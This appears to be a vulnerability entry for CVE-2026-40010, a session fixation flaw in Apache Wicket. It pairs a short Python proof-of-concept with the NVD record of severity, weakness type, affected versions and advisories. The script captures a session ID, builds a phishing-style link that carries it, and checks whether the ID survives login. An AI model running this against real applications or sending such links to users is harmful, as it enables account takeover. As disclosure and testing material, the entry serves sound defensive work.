CVE-2026-40010

# PoC Code for Session Fixation in Apache Wicket # This script demonstrates the concept of the attack. import requests target_url = "http://vulnerable-wicket-app.com" login_endpoint = "/login" # Step 1: Attacker establishes a session and captures the Session ID print("[Step 1] Attacker visiting site to get a session...") session = requests.Session() initial_response = session.get(target_url) # Assuming the cookie name is JSESSIONID (common in Java/Servlet apps) victim_session_id = session.cookies.get('JSESSIONID') print(f"[+] Captured Session ID: {victim_session_id}") # Step 2: Attacker tricks the victim into using this Session ID # In a real scenario, this would be done via a phishing link: <url>;jsessionid=ID print(f"\n[Step 2] Attacker sends malicious link with Session ID to victim...") print(f"Link: {target_url};jsessionid={victim_session_id}") # Step 3: Victim logs in using the provided Session ID # We simulate this by reusing the session object which holds the cookie print("\n[Step 3] Victim logs in...") login_credentials = { "username": "victim", "password": "password123" } login_response = session.post(target_url + login_endpoint, data=login_credentials) # Step 4: Verify if Session ID changed after login post_login_session_id = session.cookies.get('JSESSIONID') print(f"\n[Step 4] Checking Session ID after login...") print(f"Original ID: {victim_session_id}") print(f"Post-login ID: {post_login_session_id}") if victim_session_id == post_login_session_id: print("\n[!] VULNERABILITY CONFIRMED: Session ID did not change after login.") print("[!] Attacker can now authenticate using the original Session ID.") else: print("\n[-] Session ID changed. Fixation attack failed.")

{"cve": {"id": "CVE-2026-40010", "sourceIdentifier": "[email protected]", "published": "2026-05-06T10:16:20.093", "lastModified": "2026-05-07T13:16:10.557", "vulnStatus": "Modified", "cveTags": [], "descriptions": [{"lang": "en", "value": "Missing invocation of Servlet http web request method changeSessionId after session binding can be exploited for a session fixation attack in Apache Wicket.\n\nThis issue affects Apache Wicket: from 8.0.0 through 8.17.0, 9.0.0, from 10.0.0 through 10.8.0.\n\nUsers are recommended to upgrade to version 10.9.0, which fixes the issue."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N", "baseScore": 9.1, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 5.2}, {"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N", "baseScore": 9.1, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 5.2}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-384"}]}, {"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-384"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:apache:wicket:*:*:*:*:*:*:*:*", "versionStartIncluding": "8.0.0", "versionEndIncluding": "8.17.0", "matchCriteriaId": "757E1B16-2C43-4B59-82BE-DEA456EF0F28"}, {"vulnerable": true, "criteria": "cpe:2.3:a:apache:wicket:*:*:*:*:*:*:*:*", "versionStartIncluding": "9.0.0", "versionEndIncluding": "9.22.0", "matchCriteriaId": "7977D77A-1CBF-41E0-BFE7-55C5B22CD85C"}, {"vulnerable": true, "criteria": "cpe:2.3:a:apache:wicket:*:*:*:*:*:*:*:*", "versionStartIncluding": "10.0.0", "versionEndExcluding": "10.9.0", "matchCriteriaId": "CE199A15-1741-4988-8C6A-D54F202F65E3"}]}]}], "references": [{"url": "https://lists.apache.org/thread/61wsc0xdtfd5oozojfx7by9w3jwgkmv1", "source": "[email protected]", "tags": ["Vendor Advisory"]}, {"url": "http://www.openwall.com/lists/oss-security/2026/05/06/1", "source": "af854a3a-2127-422b-91ae-364da2661108", "tags": ["Mailing List", "Third Party Advisory"]}]}}